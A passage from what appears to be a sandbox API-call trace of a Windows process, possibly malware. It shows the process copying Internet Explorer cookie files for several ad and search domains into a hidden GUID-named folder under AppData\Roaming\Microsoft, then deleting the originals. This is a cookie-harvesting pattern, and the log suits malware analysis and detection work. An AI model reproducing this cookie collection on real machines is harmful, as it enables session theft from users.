lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0114.525] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0114.525] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0114.525] StrChrW (lpStart="aetadzjz@bidswitch[1].txt", wMatch=0x94e005c) returned 0x0 [0114.525] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@bidswitch[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@bidswitch[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@bidswitch[1].txt" [0114.525] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bidswitch[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bidswitch[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@bidswitch[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@bidswitch[1].txt"), bFailIfExists=0) returned 1 [0114.529] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0114.529] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bidswitch[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bidswitch[1].txt")) returned 1 [0114.530] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92aa0 | out: hHeap=0x9770000) returned 1 [0114.530] lstrlenW (lpString="Low\\aetadzjz@bing[1].txt") returned 24 [0114.530] lstrlenW (lpString="\\cookie.ie") returned 10 [0114.530] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0114.530] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xee) returned 0x9a6e990 [0114.530] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0114.530] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0114.530] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0114.530] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0114.530] StrChrW (lpStart="Low\\aetadzjz@bing[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@bing[1].txt" [0114.530] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0114.530] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0114.530] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0114.530] StrChrW (lpStart="aetadzjz@bing[1].txt", wMatch=0x94e005c) returned 0x0 [0114.530] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@bing[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@bing[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@bing[1].txt" [0114.531] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bing[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bing[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@bing[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@bing[1].txt"), bFailIfExists=0) returned 1 [0114.535] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0114.535] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bing[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bing[1].txt")) returned 1 [0114.536] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92bc0 | out: hHeap=0x9770000) returned 1 [0114.536] lstrlenW (lpString="Low\\aetadzjz@bluekai[1].txt") returned 27 [0114.536] lstrlenW (lpString="\\cookie.ie") returned 10 [0114.536] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0114.536] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf4) returned 0x9a6e990 [0114.536] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0114.536] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0114.536] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0114.536] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0114.536] StrChrW (lpStart="Low\\aetadzjz@bluekai[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@bluekai[1].txt" [0114.536] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0114.536] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0114.536] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0114.536] StrChrW (lpStart="aetadzjz@bluekai[1].txt", wMatch=0x94e005c) returned 0x0 [0114.536] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@bluekai[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@bluekai[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@bluekai[1].txt" [0114.536] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bluekai[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bluekai[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@bluekai[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@bluekai[1].txt"), bFailIfExists=0) returned 1 [0114.540] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0114.540] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bluekai[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bluekai[1].txt")) returned 1 [0114.541] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92cd0 | out: hHeap=0x9770000) returned 1 [0114.541] lstrlenW (lpString="Low\\aetadzjz@bs.serving-sys[1].txt") returned 34 [0114.541] lstrlenW (lpString="\\cookie.ie") returned 10 [0114.541] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0114.541] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x102) returned 0x9a96580 [0114.541] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0114.541] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0114.541] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0114.541] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0114.541] StrChrW (lpStart="Low\\aetadzjz@bs.serving-sys[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@bs.serving-sys[1].txt" [0114.541] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0114.541] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0114.541] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0114.541] StrChrW (lpStart="aetadzjz@bs.serving-sys[1].txt", wMatch=0x94e005c) returned 0x0 [0114.541] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@bs.serving-sys[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@bs.serving-sys[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@bs.serving-sys[1].txt" [0114.541] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bs.serving-sys[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bs.serving-sys[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@bs.serving-sys[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@bs.serving-sys[1].txt"), bFailIfExists=0) returned 1 [0114.556] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0114.556] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bs.serving-sys[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bs.serving-sys[1].txt")) returned 1 [0114.556] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92df0 | out: hHeap=0x9770000) returned 1 [0114.556] lstrlenW (lpString="Low\\aetadzjz@bs.serving-sys[3].txt") returned 34 [0114.557] lstrlenW (lpString="\\cookie.ie") returned 10 [0114.557] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0114.557] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x102) returned 0x9a96580 [0114.557] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0114.557] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0114.557] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0114.557] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0114.557] StrChrW (lpStart="Low\\aetadzjz@bs.serving-sys[3].txt", wMatch=0x94e005c) returned="\\aetadzjz@bs.serving-sys[3].txt" [0114.557] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0114.557] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0114.557] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0114.866] StrChrW (lpStart="aetadzjz@bs.serving-sys[3].txt", wMatch=0x94e005c) returned 0x0 [0114.873] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@bs.serving-sys[3].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@bs.serving-sys[3].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@bs.serving-sys[3].txt" [0114.873] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bs.serving-sys[3].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bs.serving-sys[3].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@bs.serving-sys[3].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@bs.serving-sys[3].txt"), bFailIfExists=0) returned 1 [0114.877] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0114.877] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@bs.serving-sys[3].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bs.serving-sys[3].txt")) returned 1 [0114.878] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92f10 | out: hHeap=0x9770000) returned 1 [0114.878] lstrlenW (lpString="Low\\aetadzjz@c.bing[1].txt") returned 26 [0114.878] lstrlenW (lpString="\\cookie.ie") returned 10 [0114.878] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0114.878] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf2) returned 0x9a6e990 [0114.878] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0114.878] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0114.878] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0114.878] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0114.878] StrChrW (lpStart="Low\\aetadzjz@c.bing[1].txt", 